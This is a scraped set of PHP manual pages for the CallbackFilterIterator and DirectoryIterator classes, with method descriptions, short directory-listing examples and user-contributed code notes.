<?php

$dir = new FilesystemIterator(__DIR__);

// Filter large files ( > 100MB)
function is_large_file($current) {
    return $current->isFile() && $current->getSize() > 104857600;
}
$large_files = new CallbackFilterIterator($dir, 'is_large_file');

// Filter directories
$files = new CallbackFilterIterator($dir, function ($current, $key, $iterator) {
    return $current->isDir() && ! $iterator->isDot();
});

?>

Table of Contents

  • CallbackFilterIterator::accept — Calls the callback with the current value, the current key and the inner iterator as arguments
  • CallbackFilterIterator::__construct — Create a filtered iterator from another iterator

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator::valid
CallbackFilterIterator::accept
Iterators


Calls the callback with the current value, the current key and the inner iterator as arguments

CallbackFilterIterator
CallbackFilterIterator::__construct
CallbackFilterIterator
PHP Manual

CallbackFilterIterator::accept

(PHP 5 >= 5.4.0)

CallbackFilterIterator::accept — Calls the callback with the current value, the current key and the inner iterator as arguments

Description

public string CallbackFilterIterator::accept ( void )

This method calls the callback with the current value, current key and the inner iterator.

The callback is expected to return TRUE if the current item is to be accepted, or FALSE otherwise.

Parameters

This function has no parameters.

Return Values

Returns TRUE to accept the current item, or FALSE otherwise.

See Also

  • CallbackFilterIterator Examples
  • CallbackFilterIterator::__construct() - Create a filtered iterator from another iterator

User Contributed Notes

There are no user contributed notes for this page.
CallbackFilterIterator
CallbackFilterIterator::__construct
CallbackFilterIterator


Create a filtered iterator from another iterator

CallbackFilterIterator::accept
DirectoryIterator
CallbackFilterIterator
PHP Manual

CallbackFilterIterator::__construct

(PHP 5 >= 5.4.0)

CallbackFilterIterator::__construct — Create a filtered iterator from another iterator

Description

public CallbackFilterIterator::__construct() ( Iterator $iterator , callback $callback )

Creates a filtered iterator using the callback to determine which items are accepted or rejected.

Parameters

iterator

The iterator to be filtered.

callback

The callback, which should return TRUE to accept the current item or FALSE otherwise. See Examples.

May be any valid callback value.

Return Values

No value is returned.

See Also

  • CallbackFilterIterator Examples
  • CallbackFilterIterator::accept() - Calls the callback with the current value, the current key and the inner iterator as arguments

User Contributed Notes

There are no user contributed notes for this page.
CallbackFilterIterator::accept
DirectoryIterator
CallbackFilterIterator


The DirectoryIterator class

(PHP 5)

Introduction

The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories.

Class synopsis

DirectoryIterator extends SplFileInfo implements Iterator , Traversable , SeekableIterator {
/* Methods */
public __construct ( string $path )
public DirectoryIterator current ( void )
public int getATime ( void )
public string getBasename ([ string $suffix ] )
public int getCTime ( void )
public string getExtension ( void )
public string getFilename ( void )
public int getGroup ( void )
public int getInode ( void )
public int getMTime ( void )
public int getOwner ( void )
public string getPath ( void )
public string getPathname ( void )
public int getPerms ( void )
public int getSize ( void )
public string getType ( void )
public bool isDir ( void )
public bool isDot ( void )
public bool isExecutable ( void )
public bool isFile ( void )
public bool isLink ( void )
public bool isReadable ( void )
public bool isWritable ( void )
public string key ( void )
public void next ( void )
public void rewind ( void )
public void seek ( int $position )
public string __toString ( void )
public bool valid ( void )
}

Table of Contents

  • DirectoryIterator::__construct — Constructs a new directory iterator from a path
  • DirectoryIterator::current — Return the current DirectoryIterator item.
  • DirectoryIterator::getATime — Get last access time of the current DirectoryIterator item
  • DirectoryIterator::getBasename — Get base name of current DirectoryIterator item.
  • DirectoryIterator::getCTime — Get inode change time of the current DirectoryIterator item
  • DirectoryIterator::getExtension — Returns the file extension component of path
  • DirectoryIterator::getFilename — Return file name of current DirectoryIterator item.
  • DirectoryIterator::getGroup — Get group for the current DirectoryIterator item
  • DirectoryIterator::getInode — Get inode for the current DirectoryIterator item
  • DirectoryIterator::getMTime — Get last modification time of current DirectoryIterator item
  • DirectoryIterator::getOwner — Get owner of current DirectoryIterator item
  • DirectoryIterator::getPath — Get path of current Iterator item without filename
  • DirectoryIterator::getPathname — Return path and file name of current DirectoryIterator item
  • DirectoryIterator::getPerms — Get the permissions of current DirectoryIterator item
  • DirectoryIterator::getSize — Get size of current DirectoryIterator item
  • DirectoryIterator::getType — Determine the type of the current DirectoryIterator item
  • DirectoryIterator::isDir — Determine if current DirectoryIterator item is a directory
  • DirectoryIterator::isDot — Determine if current DirectoryIterator item is '.' or '..'
  • DirectoryIterator::isExecutable — Determine if current DirectoryIterator item is executable
  • DirectoryIterator::isFile — Determine if current DirectoryIterator item is a regular file
  • DirectoryIterator::isLink — Determine if current DirectoryIterator item is a symbolic link
  • DirectoryIterator::isReadable — Determine if current DirectoryIterator item can be read
  • DirectoryIterator::isWritable — Determine if current DirectoryIterator item can be written to
  • DirectoryIterator::key — Return the key for the current DirectoryIterator item
  • DirectoryIterator::next — Move forward to next DirectoryIterator item
  • DirectoryIterator::rewind — Rewind the DirectoryIterator back to the start
  • DirectoryIterator::seek — Seek to a DirectoryIterator item
  • DirectoryIterator::__toString — Get file name as a string
  • DirectoryIterator::valid — Check whether current DirectoryIterator position is a valid file

User Contributed Notes

Kunal Bhatia->kmasterzone@gmail dot com 15-Apr-2011 02:48
Deleting all files in a directory except the one which is last modified.
<?php
    $directory = dirname(__FILE__)."/demo";
    $filenames = array();
    $iterator = new DirectoryIterator($directory);
    foreach ($iterator as $fileinfo) {
        if ($fileinfo->isFile()) {
            $filenames[$fileinfo->getMTime()] = $fileinfo->getFilename();
        }
    }
    ksort($filenames);
    print_r($filenames);
    echo "\n";
    $i=0;
    if(sizeof($filenames)>1){
        foreach ($filenames as $file){
            if($i>0){
                echo $file."\n";
                unlink($directory."/".$file);
            }
            $i++;
        }
    }
?>
red_indian hotmail com 13-Apr-2010 12:36
Note that seek() and count() are not always available. At least not on ZendServer CE with PHP 5.2.12 on Mac OSX.

Simple test:

<?php

echo "php ".phpversion().": ";
$dirit = new DirectoryIterator( '.' );
var_dump( method_exists( $dirit, 'seek' ) );
var_dump( method_exists( $dirit, 'count' ) );

?>

You can implement them using existing methods:

seek(): rewind() and then $pos times next()
count(): clone iterator (to keep position), rewind() and then ++$count while ( valid() )
krystianmularczyk at gmail dot com 25-Jan-2009 03:31
Shows us all files and catalogues in directory except "." and "..".

<?php

foreach (new DirectoryIterator('../moodle') as $fileInfo) {
    if($fileInfo->isDot()) continue;
    echo $fileInfo->getFilename() . "<br>\n";
}

?>
David Lanstein 21-Jan-2009 12:50
DirectoryIterator::getBasename() has been also been available since 5.2.2, according to the changelog (not documented yet).  It takes a parameter $suffix, and is useful if, for instance, you use a naming convention for your files (e.g. ClassName.php).

The following code uses this to add recursively All*Tests.php in any subdirectory off of tests/, basically, suites of suites.

<?php
// PHPUnit boilerplate code goes here

class AllTests {
    public static function main() {
        $parameters = array('verbose' => true);
        PHPUnit_TextUI_TestRunner::run(self::suite(), $parameters);
    }

    public static function suite() {
        $suite = new PHPUnit_Framework_TestSuite('AllMyTests'); // this must be something different than the class name, per PHPUnit
        $it = new AllTestsFilterIterator(
                  new RecursiveIteratorIterator(
                      new RecursiveDirectoryIterator(dirname(__FILE__) . '/tests')));

        for ($it->rewind(); $it->valid(); $it->next()) {
            require_once($it->current());
            $className = $it->current()->getBasename('.php');
            $suite->addTest($className::suite());
        }

        return $suite;
    }
}
?>

Also, the AllTestsFilterIterator above extends FilterIterator, and contains one method, accept():

<?php
class AllTestsFilterIterator extends FilterIterator {
    public function accept() {
        if (preg_match('/All.*Tests\.php/', $this->current())) {
            return true;
        } else {
            return false;
        }
    }
}
?>
Mark van Straten 09-Jul-2008 07:56
Implements Iterator so you can foreach() over the content of the given directory
CallbackFilterIterator::__construct
DirectoryIterator::__construct
Iterators


Constructs a new directory iterator from a path

DirectoryIterator
DirectoryIterator::current
DirectoryIterator
PHP Manual

DirectoryIterator::__construct

(PHP 5)

DirectoryIterator::__construct — Constructs a new directory iterator from a path

Description

public DirectoryIterator::__construct() ( string $path )

Constructs a new directory iterator from a path.

Parameters

path

The path of the directory to traverse.

Errors/Exceptions

Throws an UnexpectedValueException if the path cannot be opened.

Examples

Example #1 A DirectoryIterator::__construct() example

This example will list the contents of the directory containing the script.

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    if (!$fileinfo->isDot()) {
        var_dump($fileinfo->getFilename());
    }
}
?>

See Also

  • SplFileInfo
  • Iterator

User Contributed Notes

a dot lyskawa at nisza dot org 18-Dec-2009 12:55
Here's all-in-one DirectoryIterator:

<?php

/**
 * Real Recursive Directory Iterator
 */
class RRDI extends RecursiveIteratorIterator {
  /**
   * Creates Real Recursive Directory Iterator
   * @param string $path
   * @param int $flags
   * @return DirectoryIterator
   */
  public function __construct($path, $flags = 0) {
    parent::__construct(new RecursiveDirectoryIterator($path, $flags));
  }
}

/**
 * Real RecursiveDirectoryIterator Filtered Class
 * Returns only those items which filenames match given regex
 */
class AdvancedDirectoryIterator extends FilterIterator {
  /**
   * Regex storage
   * @var string
   */
  private $regex;
  /**
   * Creates new AdvancedDirectoryIterator
   * @param string $path, prefix with '-R ' for recursive, postfix with /[wildcards] for matching
   * @param int $flags
   * @return DirectoryIterator
   */
  public function  __construct($path, $flags = 0) {
    if (strpos($path, '-R ') === 0) { $recursive = true; $path = substr($path, 3); }
    if (preg_match('~/?([^/]*\*[^/]*)$~', $path, $matches)) { // matched wildcards in filename
      $path = substr($path, 0, -strlen($matches[1]) - 1); // strip wildcards part from path
      $this->regex = '~^' . str_replace('*', '.*', str_replace('.', '\.', $matches[1])) . '$~'; // convert wildcards to regex
      if (!$path) $path = '.'; // if no path given, we assume CWD
    }
    parent::__construct($recursive ? new RRDI($path, $flags) : new DirectoryIterator($path));
  }
  /**
   * Checks for regex in current filename, or matches all if no regex specified
   * @return bool
   */
  public function accept() { // FilterIterator method
    return $this->regex === null ? true : preg_match($this->regex, $this->getInnerIterator()->getFilename());
  }
}

?>

Some examples:

<?php

/* @var $i DirectoryIterator */

foreach (new AdvancedDirectoryIterator('.') as $i) echo $i->getPathname() . '<br/>';
// will output all files and directories in CWD

foreach (new AdvancedDirectoryIterator('-R *.php') as $i) echo $i->getPathname() . '<br/>';
// will output all php files in CWD and all subdirectories

foreach (new AdvancedDirectoryIterator('-R js/jquery-*.js') as $i) echo $i->getPathname() . '<br/>';
// will output all jQuery versions in directory js, or throw an exception if directory js doesn't exist

?>

Pretty cool, huh? :)
kendsnyder at gmail dot com 04-Dec-2008 11:54
Don't store DirectoryIterator objects for later; you will get an error saying "too many open files" when you store more than the operating system limit (usually 256 or 1024).

For example, this will yield an error if the directory has too many files:

<?php
$files = array();
foreach (new DirectoryIterator('myDir') as $file) {
  $files[] = $file;
}
?>

Presumably, this approach is memory intensive as well.
pcdinh at phpvietnam dot net 12-Aug-2007 07:55
I need to traverse recursively through a directory tree and get all sub-directory paths and has written a snippet to do that.

<?php
$path = "D:\webroot\phpvietnamcms";
foreach (new RecursiveIteratorIterator(
           new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::KEY_AS_PATHNAME), RecursiveIteratorIterator::CHILD_FIRST) as $file => $info) {
    if ($info->isDir())
    {
        echo $file."<br />";
    }
}

?>
goran at extensionsforjoomla dot com 20-Jun-2007 04:44
I needed to match in directory tree file name(s) by regular expression. Code is based on Marcus Börger class DirectoryTreeIterator http://cvs.php.net/viewvc.cgi/php-src/ext/spl/examples/ and on examples given in his lecture Introduction to object oriented PHP at PHP Quebec conference 2007 http://talks.somabo.de/
<?php
class KeyFilter extends FilterIterator
{
  private $_rx;

  function __construct(Iterator $it, $regex)
  {
    parent::__construct($it);
    $this->_rx= $regex;
  }

  function accept()
  {
    return ereg($this->_rx,$this->getInnerIterator()->key());
  }

  protected function __clone() {
    return false;
  }
}

class DirMach extends KeyFilter
{
  function __construct($path , $regex)
  {
    parent::__construct(
    new DirectoryTreeIterator($path), $regex);
  }

  function current()
  {
    return parent::key();
  }

  function key()
  {
    return parent::key();
  }
}

class DirectoryTreeIterator extends RecursiveIteratorIterator
{
    /** Construct from a path.
     * @param $path directory to iterate
     */
    function __construct($path)
    {
     try {
      parent::__construct(
            new RecursiveCachingIterator(
                new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::KEY_AS_FILENAME
                ),
                CachingIterator::CALL_TOSTRING|CachingIterator::CATCH_GET_CHILD
            ),
            parent::SELF_FIRST
        );
     } catch(Exception $e) {
       echo $e->getMessage();
       exit;
     }
    }

    /** @return the current element prefixed with ASCII graphics
     */
    function current()
    {
      if ($this->hasChildren())
        $this->next();
      return $this->key();
    }

    /** Aggregates the inner iterator
     */
    function __call($func, $params)
    {
      return call_user_func_array(array($this->getSubIterator(), $func), $params);
    }
}
$PathToSearch = 'path_to_search';
$regex = 'regular_expression';
$FileList = new DirMach($PathToSearch, $regex);
foreach ($FileList as $file) {
  $match[] = $file;
}
echo '<pre>';
var_dump($match);
echo '</pre>';
?>
pcdinh at phpvietnam dot net 19-Apr-2007 01:58
The use of this class is rather simple
<?php
$dataDir  = dirname(__FILE__).'/world_vest_base/';

try
{
      $dir  = new DirectoryIterator($dataDir);

      foreach ($dir as $file)
      {
        $fileName = $file->getFilename();
      }
}
catch (Exception $ex)
{

}

?>

If $dataDir is null, a Runtime Exception will throws a message like this: Directory name must not be empty.

If $dataDir does not exist, that message will look like this:  failed to open dir: No such file or directory.

Please be careful in case you are looking for filenames in that directory because DirectoryIterator will return a very special symbolic filenames: . and .. You must do a check to ignore them before dealing with real file names.

$dir is a DirectoryIterator object
troels 03-Apr-2007 07:34
The documentation for DirectoryIterator is sparse. I found this nice overview:
http://www.jellyandcustard.com/2006/05/18
/using-directoryiterator-to-list-files-in-php

(The above is one line, but I'm not allowed to post it like that)
springub at northclick dot de 13-Dec-2006 04:26
udvig dot ericson at gmail dot com
29-Jul-2006 07:48

In response to the comment below from udvig. The Example ist wrong, here is the right one:

<?php
$dir = new DirectoryIterator("/tmp");
foreach ($dir as $file) {
   if ($file->isDot()) {
       continue;
   }
   echo $file->getFilename() . "\n";
}
?>
ludvig dot ericson at gmail dot com 28-Jul-2006 10:48
In response to the comment below, you don't have to simulate a foreach(), DirectoryIterator obviously inherits SPL's Iterator interface, therefore:

<?php
$dir = new DirectoryIterator("/tmp");
foreach ($dir as $file) {
    if ($dir->isDot()) {
        continue;
    }
    echo $file . "\n";
}
?>
fernandobassani at gmail dot com 25-Jan-2006 10:36
We can now replace the old fashioned way of listing the content from a directory!

the old way:
<?php
if ($handle = opendir('/home/fernando/temp')) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != "..") {
            print "$file <br />";
        }
    }
    closedir($handle);
}
?>

the new way:
<?php
$dir = new DirectoryIterator('/home/fernando/temp');
while($dir->valid()) {
    if(!$dir->isDot()) {
        print $dir->current()."<br />";
    }
    $dir->next();
}
?>
jakob dot buchgraber at gmail dot com 04-Jan-2006 07:36
I wrote a function for finding all files in the current and in subdirectories.

The Code:
<?php
function getFiles(&$rdi,$depth=0) {

    if (!is_object($rdi))
        return;

    for ($rdi->rewind();$rdi->valid();$rdi->next()) {

        if ($rdi->isDot())
            continue;

        if ($rdi->isDir() || $rdi->isFile()) {

            for ($i = 0; $i<=$depth;++$i)
                echo '&nbsp;&nbsp;&nbsp;';

            echo $rdi->current().'<br />';

            if ($rdi->hasChildren())
                getFiles($rdi->getChildren(),1+$depth);
        }
    }
}

getFiles(new RecursiveDirectoryIterator('.'));
?>
DirectoryIterator
DirectoryIterator::current
DirectoryIterator


Return the current DirectoryIterator item.

DirectoryIterator::__construct
DirectoryIterator::getATime
DirectoryIterator
PHP Manual

DirectoryIterator::current

(PHP 5)

DirectoryIterator::current — Return the current DirectoryIterator item.

Description

public DirectoryIterator DirectoryIterator::current ( void )

Get the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

The current DirectoryIterator item.

Examples

Example #1 A DirectoryIterator::current() example

This example will list the contents of the directory containing the script.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
while($iterator->valid()) {
    $file = $iterator->current();
    echo $iterator->key() . " => " . $file->getFilename() . "\n";
    $iterator->next();
}
?>

The above example will output something similar to:

0 => .
1 => ..
2 => apple.jpg
3 => banana.jpg
4 => index.php
5 => pear.jpg

See Also

  • DirectoryIterator::key() - Return the key for the current DirectoryIterator item
  • DirectoryIterator::next() - Move forward to next DirectoryIterator item
  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start
  • DirectoryIterator::valid() - Check whether current DirectoryIterator position is a valid file
  • Iterator::current() - Return the current element

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::__construct
DirectoryIterator::getATime
DirectoryIterator


Get last access time of the current DirectoryIterator item

DirectoryIterator::current
DirectoryIterator::getBasename
DirectoryIterator
PHP Manual

DirectoryIterator::getATime

(PHP 5)

DirectoryIterator::getATime — Get last access time of the current DirectoryIterator item

Description

public int DirectoryIterator::getATime ( void )

Get the last access time of the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

Returns the time the file was last accessed, as a Unix timestamp.

Examples

Example #1 A DirectoryIterator::getATime() example

Displays a list of the files in the directory of the script and their last access times.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getFilename() . " " . $fileinfo->getATime() . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg 1240047118
banana.jpg 1240065176
index.php 1240047208
pear.jpg 12240047979

See Also

  • DirectoryIterator::getCTime() - Get inode change time of the current DirectoryIterator item
  • DirectoryIterator::getMTime() - Get last modification time of current DirectoryIterator item
  • fileatime() - Gets last access time of file

User Contributed Notes

petweb at quaint dot info 15-Aug-2008 06:21
Note that, as with filetime, the returned value is a Unix timestamp. So it can be used with the date() function;

date ("F d Y H:i:s.", filemtime($file->getATime()));
DirectoryIterator::current
DirectoryIterator::getBasename
DirectoryIterator


Get base name of current DirectoryIterator item.

DirectoryIterator::getATime
DirectoryIterator::getCTime
DirectoryIterator
PHP Manual

DirectoryIterator::getBasename

(PHP 5 >= 5.2.2)

DirectoryIterator::getBasename — Get base name of current DirectoryIterator item.

Description

public string DirectoryIterator::getBasename ([ string $suffix ] )

Get the base name of the current DirectoryIterator item.

Parameters

suffix

If the base name ends in suffix, this will be cut.

Return Values

The base name of the current DirectoryIterator item.

Examples

Example #1 A DirectoryIterator::getBasename() example

This example will list the full base name and the base name with suffix .jpg removed for the files in the directory containing the script.

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getBasename() . "\n";
        echo $fileinfo->getBasename('.jpg') . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg
apple
banana.jpg
banana
index.php
index.php
pear.jpg
pear

See Also

  • DirectoryIterator::getFilename() - Return file name of current DirectoryIterator item.
  • DirectoryIterator::getPath() - Get path of current Iterator item without filename
  • DirectoryIterator::getPathname() - Return path and file name of current DirectoryIterator item
  • basename() - Returns trailing name component of path
  • pathinfo() - Returns information about a file path

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::getATime
DirectoryIterator::getCTime
DirectoryIterator


Get inode change time of the current DirectoryIterator item

DirectoryIterator::getBasename
DirectoryIterator::getExtension
DirectoryIterator
PHP Manual

DirectoryIterator::getCTime

(PHP 5)

DirectoryIterator::getCTime — Get inode change time of the current DirectoryIterator item

Description

public int DirectoryIterator::getCTime ( void )

Get the inode change time for the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

Returns the last change time of the file, as a Unix timestamp.

Examples

Example #1 DirectoryIterator::getCTime() example

This example displays the file name and last change time of the files in the directory containing the script.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getFilename() . " changed at " . $fileinfo->getCTime() . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg changed at 1240398312
banana.jpg changed at 1238605440
index.php changed at 1240398935
pear.jpg changed at 1237423740

See Also

  • DirectoryIterator::getATime() - Get last access time of the current DirectoryIterator item
  • DirectoryIterator::getMTime() - Get last modification time of current DirectoryIterator item
  • filectime() - Gets inode change time of file

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::getBasename
DirectoryIterator::getExtension
DirectoryIterator


Returns the file extension component of path

DirectoryIterator::getCTime
DirectoryIterator::getFilename
DirectoryIterator
PHP Manual

DirectoryIterator::getExtension

(No version information available, might only be in SVN)

DirectoryIterator::getExtension — Returns the file extension component of path

Description

public string DirectoryIterator::getExtension ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

andresdzphp at php dot net 19-Sep-2011 12:04
DirectoryIterator::getExtension Example

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    if (!$fileinfo->isDot()) {
        echo $fileinfo->getExtension() . "\n";
    }
}
?>

Result:

php
gif
png
php
jpg
DirectoryIterator::getCTime
DirectoryIterator::getFilename
DirectoryIterator


Return file name of current DirectoryIterator item.

DirectoryIterator::getExtension
DirectoryIterator::getGroup
DirectoryIterator
PHP Manual

DirectoryIterator::getFilename

(PHP 5)

DirectoryIterator::getFilename — Return file name of current DirectoryIterator item.

Description

public string DirectoryIterator::getFilename ( void )

Get the file name of the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

Returns the file name of the current DirectoryIterator item.

Examples

Example #1 A DirectoryIterator::getFilename() example

This example will list the contents of the directory containing the script.

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    echo $fileinfo->getFilename() . "\n";
}
?>

The above example will output something similar to:

.
..
apple.jpg
banana.jpg
index.php
pear.jpg

See Also

  • DirectoryIterator::getBasename() - Get base name of current DirectoryIterator item.
  • DirectoryIterator::getPath() - Get path of current Iterator item without filename
  • DirectoryIterator::getPathname() - Return path and file name of current DirectoryIterator item
  • pathinfo() - Returns information about a file path

User Contributed Notes

kaigillmann at gmxpro dot net 11-Nov-2005 02:12
DirectoryIterator extension to get the file-extension:

class MyDirectoryIterator extends DirectoryIterator
{
    public function GetExtension()
    {
        $Filename = $this->GetFilename();
        $FileExtension = strrpos($Filename, ".", 1) + 1;
        if ($FileExtension != false)
            return strtolower(substr($Filename, $FileExtension, strlen($Filename) - $FileExtension));
        else
            return "";
    }
}
DirectoryIterator::getExtension
DirectoryIterator::getGroup
DirectoryIterator


Get group for the current DirectoryIterator item

DirectoryIterator::getFilename
DirectoryIterator::getInode
DirectoryIterator
PHP Manual

DirectoryIterator::getGroup

(PHP 5)

DirectoryIterator::getGroup — Get group for the current DirectoryIterator item

Description

public int DirectoryIterator::getGroup ( void )

Get the group id of the file.

Parameters

This function has no parameters.

Return Values

Returns the group id of the current DirectoryIterator item in numerical format.

Examples

Example #1 DirectoryIterator::getGroup() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
$groupid  = $iterator->getGroup();
echo 'Directory belongs to group id ' . $groupid . "\n";
print_r(posix_getgrgid($groupid));
?>

The above example will output something similar to:

Directory belongs to group id 42
Array
(
    [name]    => toons
    [passwd]  => x
    [members] => Array
        (
            [0] => tom
            [1] => jerry
        )
    [gid]     => 42
)

See Also

  • DirectoryIterator::getiNode() - Get inode for the current DirectoryIterator item
  • DirectoryIterator::getOwner() - Get owner of current DirectoryIterator item
  • DirectoryIterator::getPerms() - Get the permissions of current DirectoryIterator item
  • filegroup() - Gets file group
  • posix_getgrgid() - Return info about a group by group id

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::getFilename
DirectoryIterator::getInode
DirectoryIterator


Get inode for the current DirectoryIterator item

DirectoryIterator::getGroup
DirectoryIterator::getMTime
DirectoryIterator
PHP Manual

DirectoryIterator::getInode

(PHP 5)

DirectoryIterator::getInode — Get inode for the current DirectoryIterator item

Description

public int DirectoryIterator::getInode ( void )

Get the inode number for the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

Returns the inode number for the file.

Examples

Example #1 DirectoryIterator::getInode() example

This example displays the inode number for the directory containing the script.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
echo $iterator->getInode();
?>

See Also

  • DirectoryIterator::getGroup() - Get group for the current DirectoryIterator item
  • DirectoryIterator::getOwner() - Get owner of current DirectoryIterator item
  • DirectoryIterator::getPerms() - Get the permissions of current DirectoryIterator item
  • fileinode() - Gets file inode

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::getGroup
DirectoryIterator::getMTime
DirectoryIterator


Get last modification time of current DirectoryIterator item

DirectoryIterator::getInode
DirectoryIterator::getOwner
DirectoryIterator
PHP Manual

DirectoryIterator::getMTime

(PHP 5)

DirectoryIterator::getMTime — Get last modification time of current DirectoryIterator item

Description

public int DirectoryIterator::getMTime ( void )

Get the last modification time of the current DirectoryIterator item, as a Unix timestamp.

Parameters

This function has no parameters.

Return Values

The last modification time of the file, as a Unix timestamp.

Examples

Example #1 A DirectoryIterator::getMTime() example

Displays a list of the files in the directory of the script and their last modified times.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getFilename() . " " . $fileinfo->getMTime() . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg 1240047118
banana.jpg 1240065176
index.php 1240047208
pear.jpg 12240047979

See Also

  • DirectoryIterator::getATime() - Get last access time of the current DirectoryIterator item
  • DirectoryIterator::getCTime() - Get inode change time of the current DirectoryIterator item
  • filemtime() - Gets file modification time

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::getInode
DirectoryIterator::getOwner
DirectoryIterator


Get owner of current DirectoryIterator item

DirectoryIterator::getMTime
DirectoryIterator::getPath
DirectoryIterator
PHP Manual

DirectoryIterator::getOwner

(PHP 5)

DirectoryIterator::getOwner — Get owner of current DirectoryIterator item

Description

public int DirectoryIterator::getOwner ( void )

Get the owner of the current DirectoryIterator item, in numerical format.

Parameters

This function has no parameters.

Return Values

The file owner of the file, in numerical format.

Examples

Example #1 DirectoryIterator::getOwner() example

This example displays the owner of the directory which contains the script.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
print_r(posix_getpwuid($iterator->getOwner()));
?>

The above example will output something similar to:

Array
(
    [name] => tom
    [passwd] => x
    [uid] => 501
    [gid] => 42
    [gecos] => Tom Cat
    [dir] => /home/tom
    [shell] => /bin/bash
)

See Also

  • DirectoryIterator::getGroup() - Get group for the current DirectoryIterator item
  • DirectoryIterator::getiNode() - Get inode for the current DirectoryIterator item
  • DirectoryIterator::getPerms() - Get the permissions of current DirectoryIterator item
  • posix_getpwuid() - Return info about a user by user id

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::getMTime
DirectoryIterator::getPath
DirectoryIterator


Get path of current Iterator item without filename

DirectoryIterator::getOwner
DirectoryIterator::getPathname
DirectoryIterator
PHP Manual

DirectoryIterator::getPath

(PHP 5)

DirectoryIterator::getPath — Get path of current Iterator item without filename

Description

public string DirectoryIterator::getPath ( void )

Get the path to the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

Returns the path to the file, omitting the file name and any trailing slash.

Examples

Example #1 DirectoryIterator::getPath() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
echo $iterator->getPath();
?>

The above example will output something similar to:

/home/examples/public_html

See Also

  • DirectoryIterator::getBasename() - Get base name of current DirectoryIterator item.
  • DirectoryIterator::getFilename() - Return file name of current DirectoryIterator item.
  • DirectoryIterator::getPathname() - Return path and file name of current DirectoryIterator item
  • pathinfo() - Returns information about a file path

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::getOwner
DirectoryIterator::getPathname
DirectoryIterator


Return path and file name of current DirectoryIterator item

DirectoryIterator::getPath
DirectoryIterator::getPerms
DirectoryIterator
PHP Manual

DirectoryIterator::getPathname

(PHP 5)

DirectoryIterator::getPathname — Return path and file name of current DirectoryIterator item

Description

public string DirectoryIterator::getPathname ( void )

Get the path and file name of the current file.

Parameters

This function has no parameters.

Return Values

Returns he path and file name of current file. Directories do not have a trailing slash.

Examples

Example #1 DirectoryIterator::getPathname() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    echo $fileinfo->getPathname() . "\n";
}
?>

The above example will output something similar to:

/home/examples/.
/home/examples/..
/home/examples/apple.jpg
/home/examples/banana.jpg
/home/examples/getpathname.php
/home/examples/pear.jpg

See Also

  • DirectoryIterator::getBasename() - Get base name of current DirectoryIterator item.
  • DirectoryIterator::getFilename() - Return file name of current DirectoryIterator item.
  • DirectoryIterator::getPath() - Get path of current Iterator item without filename
  • pathinfo() - Returns information about a file path

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::getPath
DirectoryIterator::getPerms
DirectoryIterator


Get the permissions of current DirectoryIterator item

DirectoryIterator::getPathname
DirectoryIterator::getSize
DirectoryIterator
PHP Manual

DirectoryIterator::getPerms

(PHP 5)

DirectoryIterator::getPerms — Get the permissions of current DirectoryIterator item

Description

public int DirectoryIterator::getPerms ( void )

Get the permissions of the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

Returns the permissions of the file, as a decimal integer.

Examples

Example #1 DirectoryIterator::getPerms() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if (!$fileinfo->isDot()) {
        $octal_perms = substr(sprintf('%o', $fileinfo->getPerms()), -4);
        echo $fileinfo->getFilename() . " " . $octal_perms . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg 0644
banana.jpg 0644
index.php 0744
pear.jpg 0644

See Also

  • DirectoryIterator::isExecutable() - Determine if current DirectoryIterator item is executable
  • DirectoryIterator::isReadable() - Determine if current DirectoryIterator item can be read
  • DirectoryIterator::isWritable() - Determine if current DirectoryIterator item can be written to

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::getPathname
DirectoryIterator::getSize
DirectoryIterator


